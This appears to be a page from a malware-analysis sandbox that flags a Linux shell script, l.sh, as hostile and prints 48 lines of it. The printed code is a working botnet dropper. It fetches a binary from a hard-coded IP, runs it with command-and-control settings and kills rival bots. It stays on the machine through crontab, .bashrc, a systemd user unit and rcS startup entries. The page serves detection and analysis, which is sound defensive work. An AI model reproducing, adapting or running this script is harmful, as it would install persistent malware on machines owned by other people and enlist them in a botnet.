Hostile 99% linux Download

l.sh

Hidden dotfile binary enabled as a systemd daemonSystemd unit executes a hidden dotfile
SHA-2565ee8e36dc9132a3ff8227dce87f1d205e8c1343f215cb368397fd9c1046a4a70

Evidence

Systemd unit executes a hidden dotfile lines 1–48
1#!/bin/sh
2T="$1"; [ -z "$T" ] && T="vps"
3SRV=108.165.95.10
4A=$(uname -m)
5case "$A" in
6 x86_64|amd64) A=x86_64;;
7 i386|i486|i586|i686) A=i686;;
8 aarch64|arm64) A=aarch64;;
9 armv7*|armv6*|armv5*|armv4*) A=armv7l;;
10 mips64*) A=mips;;
11 mips) A=mips;;
12 mipsel) A=mipsel;;
13 *) A=x86_64;;
14esac
15fetch() {
16 rm -f "$1" 2>/dev/null
17 wget -qO "$1" "http://$SRV/$2" 2>/dev/null || curl -s -o "$1" "http://$SRV/$2" 2>/dev/null
18 [ -s "$1" ] || busybox wget -qO "$1" "http://$SRV/$2" 2>/dev/null
19 [ -s "$1" ] || { command -v python3 >/dev/null 2>&1 && python3 -c 'import urllib.request,sys;urllib.request.urlretrieve(sys.argv[1],sys.argv[2])' "http://$SRV/$2" "$1" 2>/dev/null; }
20 [ -s "$1" ] && chmod 777 "$1" 2>/dev/null && return 0
21 return 1
22}
23persist() {
24 [ -s .g ] || return 0
25 H=${HOME:-/tmp}
26 cp -f .g "$H/.gd" 2>/dev/null; chmod 777 "$H/.gd" 2>/dev/null
27 CRONCMD="* * * * * pgrep -f '.gd $T' >/dev/null 2>&1 || (cd $H 2>/dev/null && setsid ./.gd $T >/dev/null 2>&1 </dev/null &)"
28 (crontab -l 2>/dev/null | grep -v '\.gd\|\.c\|l\.sh'; echo "@reboot $H/.gd $T >/dev/null 2>&1 </dev/null &"; echo "$CRONCMD") | crontab - 2>/dev/null
29 grep -q '\.gd' "$H/.bashrc" 2>/dev/null || echo "setsid $H/.gd $T >/dev/null 2>&1 </dev/null &" >> "$H/.bashrc" 2>/dev/null
30 mkdir -p "$H/.config/systemd/user" 2>/dev/null
31 printf '[Unit]\nDescription=gd\n[Service]\nExecStart=%s/.gd %s\nRestart=always\n[Install]\nWantedBy=default.target\n' "$H" "$T" > "$H/.config/systemd/user/gd.service" 2>/dev/null
32 systemctl --user enable --now gd.service 2>/dev/null
33 for d in /mnt/mtd /mnt/sd /data; do
34 if [ -w "$d" ]; then cp -f .g "$d/.gd" 2>/dev/null; chmod 777 "$d/.gd" 2>/dev/null; echo "$d/.gd $T >/dev/null 2>&1 </dev/null &" >> "$d/rcS" 2>/dev/null; fi
35 done
36 return 0
37}
38try_run() {
39 d="$1"; b="$2"; tag="$3"
40 [ -d "$d" ] || return 1
41 # the already alive? (the bot's own pidfile, the survives the daemonize + the disguise)
42
43
44 cd "$d" 2>/dev/null || return 1
45 fetch .g "$b" || return 1
46 persist
47 kill $(cat /tmp/.guardian.pid 2>/dev/null) 2>/dev/null; kill $(cat /var/tmp/.grd1an.pid 2>/dev/null) 2>/dev/null; pkill -f ".g " 2>/dev/null; pkill -f guardian 2>/dev/null; pkill -f grd1an 2>/dev/null; sleep 1
48 setsid env CNC_IP=$SRV CNC_PORT=80 ./.g "$tag" >/dev/null 2>&1 </dev/null &

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.